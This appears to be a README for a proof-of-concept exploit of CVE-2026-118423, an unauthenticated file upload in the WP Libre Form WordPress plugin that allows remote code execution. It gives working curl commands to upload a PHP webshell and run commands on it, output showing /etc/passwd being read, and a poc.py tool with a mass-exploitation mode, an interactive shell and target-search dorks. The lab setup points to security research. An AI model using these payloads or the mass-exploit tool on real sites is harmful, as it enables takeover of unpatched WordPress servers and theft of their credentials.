
PoC di rilevamento e sfruttamento per CVE-2026-118423, un caricamento di file non autenticato che porta a RCE in WP Libre Form <= 1.5.0.1, con caricamento di webshell, modalità massiva e configurazione di laboratorio.
Stato del plugin: chiuso da WordPress.org l'8 settembre 2026 — nessuna versione correttiva. Verificato: 2026-11-06, laboratorio isolato (WP 6.7.1 / PHP 8.2 / Apache).
Il plugin WordPress WP Libre Form salva i file provenienti dall'invio del form senza alcuna
validazione del tipo/estensione. Il suo handler è registrato sull'hook wp_ajax_nopriv_* (senza
autenticazione) e chiama move_uploaded_file() in modo grezzo.
Un attaccante senza account carica un file .php in wp-content/uploads/ → file accessibile via web →
RCE come utente del web server (solitamente www-data).
# 1. Upload webshell (unauth, tanpa nonce, tanpa login)
curl "http://TARGET/wp-admin/admin-ajax.php" \
-F "action=wplf_submit" -F "_form_id=32" \
-F "[email protected];type=application/x-php;filename=pwn.php"
# -> {"ok":1,"submission_id":55,...}
# 2. Eksekusi
curl "http://TARGET/wp-content/uploads/2026/11/lf_2611060113-0-pwn.php?c=id"
# -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
| Tipo | CWE-434 Unrestricted Upload of File with Dangerous Type |
| Auth richiesta | Nessuna |
| Interazione utente | Nessuna |
| Prerequisito | Almeno 1 form wplf-form pubblicato (solitamente la pagina Contact) |
| Impatto | RCE — esecuzione di comandi come utente del web server |
| CVSS 3.1 | 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Versione corretta | Nessuna (plugin chiuso dal vendor) |
Tramite RCE, un attaccante può leggere wp-config.php (credenziali DB), accedere
al file system, effettuare pivot verso la rete interna o installare un backdoor permanente.
inc/wplf-ajax.php — wplf_ajax_submit_handler():
add_action( 'wp_ajax_nopriv_wplf_submit', 'wplf_ajax_submit_handler' ); // <-- tanpa auth
foreach ( $_FILES as $key => $file ) {
// Is this enough security wise? <-- diduga sang penulis sendiri
if ( $should_store_images_in_medialibrary ) {
$attach_id = media_handle_upload( $key, 0, ... ); // aman (WP core memfilter)
} else {
$name = 'lf_' . date( 'ymdhs' ) . '-' . $counter . '-' . sanitize_file_name( $file['name'] );
move_uploaded_file( $file['tmp_name'], $uploads_path['path'] . '/' . $name ); // <-- RENTAN
}
}
sanitize_file_name() non filtra l'estensione. Non c'è wp_check_filetype(),
nessuna whitelist/blacklist, nessun controllo MIME.
| # | Endpoint | Auth | Note |
|---|---|---|---|
| 1 | POST /wp-admin/admin-ajax.php (action=wplf_submit) | ❌ | sempre disponibile |
| 2 | POST /wp-json/wplf/v1/submit | ❌ | richiede pretty permalink |
| 3 | POST /index.php?rest_route=/wplf/v1/submit | ❌ | sempre disponibile |
I percorsi 2–3 sono REST route registrate senza permission_callback —
WordPress stesso le segnala tramite l'header X-WP-DoingItWrong.
poc.pyRilevamento ed exploit automatizzati, modalità menu e CLI, singola e massiva.
[1] Single — detect
[2] Single — exploit (upload + verify)
[3] Mass — detect (targets.txt)
[4] Mass — exploit (targets.txt)
[0] Keluar
git clone https://github.com/im0xfay/CVE-2026-118423 && cd CVE-2026-118423
pip install requests
python3 poc.py # menu interaktif
python3 poc.py -u http://TARGET # detect-only (default)
python3 poc.py -u http://TARGET --exploit --i-know-what-im-doing
python3 poc.py -u http://TARGET --exploit --i-know-what-im-doing --shell
python3 poc.py --targets targets.txt -t 10 -o hasil.json
| Flag | Funzione |
|---|---|
-u, --url | target (può essere ripetuto) |
--targets FILE | elenco di target, uno per riga |
--exploit | abilita l'upload (distruttivo) — richiede --i-know-what-im-doing |
--i-know-what-im-doing | conferma esplicita per --exploit |
--shell | shell interattiva dopo l'RCE |
--endpoint | forza il percorso: auto / ajax / rest / rest_query |
--field | nome del campo file (default: auto-probe su 6 candidati) |
--tz-offset | offset del fuso orario del server (ore); default auto-sweep |
--cmd-param | nome del parametro del comando della webshell (default c) |
-t, --threads | thread per la modalità mass |
-o, --json-out | salva i risultati in JSON |
-q, --quiet | mostra solo VULN/RCE |
-v, --verbose | mostra ogni richiesta |
| Tag | Significato |
|---|---|
RCE | upload ed esecuzione verificati (uid= letto dalla webshell) |
VULN | primitiva unauth dimostrata / file caricato ma esecuzione non ancora confermata |
INFO | plugin rilevato ma nessun form pubblicato |
CLEAN | plugin non rilevato |
UNKNOWN | il target non risponde |
Riproduzione completa in laboratorio — output reale:
$ python3 poc.py -u http://127.0.0.1:8096 --exploit --i-know-what-im-doing
RCE http://127.0.0.1:8096 v1.5 [ajax] shell=http://127.0.0.1:8096/wp-content/uploads/2026/11/lf_2611060113-0-lf-poc-4w54cm7nbb.php
- route wplf/v1/submit tanpa permission_callback (X-WP-DoingItWrong)
- form 32 reachable via ajax
- time-anchor: server Date header
- exec: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Prove oggettive (non semplici marcatori):
$ curl "<shell>?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl "<shell>?c=head%20-2%20/etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
./scripts/fetch-source.sh # ambil source plugin rentan (tidak disertakan di repo)
./scripts/lab-up.sh # bangun lab: WP 6.7.1 + MySQL 8 @ 127.0.0.1:8096
python3 poc.py -u http://127.0.0.1:8096
./scripts/lab-down.sh # matikan
Richiede Docker. Lo script utilizza docker run semplice (non docker compose).
lab/docker-compose.yml è incluso come riferimento alternativo se è disponibile
il plugin compose.
poc.py tool utama (deteksi + eksploitasi)
CVE-2026-118423-report.md laporan lengkap (8 seksi)
README.md dokumen ini
DISCLAIMER.md penggunaan yang sah & risiko
SECURITY.md kebijakan pelaporan kerentanan
LICENSE MIT
docs/
root-cause.md analisis source + bukti dari lab
exploit-chain-verified.md rantai eksploitasi yang terverifikasi end-to-end
bypass-analysis.md teknik ekstensi yang diuji, + hasilnya
self-attack.md 10 mode kegagalan & mitigasinya
fofa-dorks.md dork pencarian target
run-log.md log riset + bug yang ditemukan
scripts/
fetch-source.sh ambil source plugin rentan (SVN → src/, gitignored)
lab-up.sh bangun lab
lab-down.sh matikan lab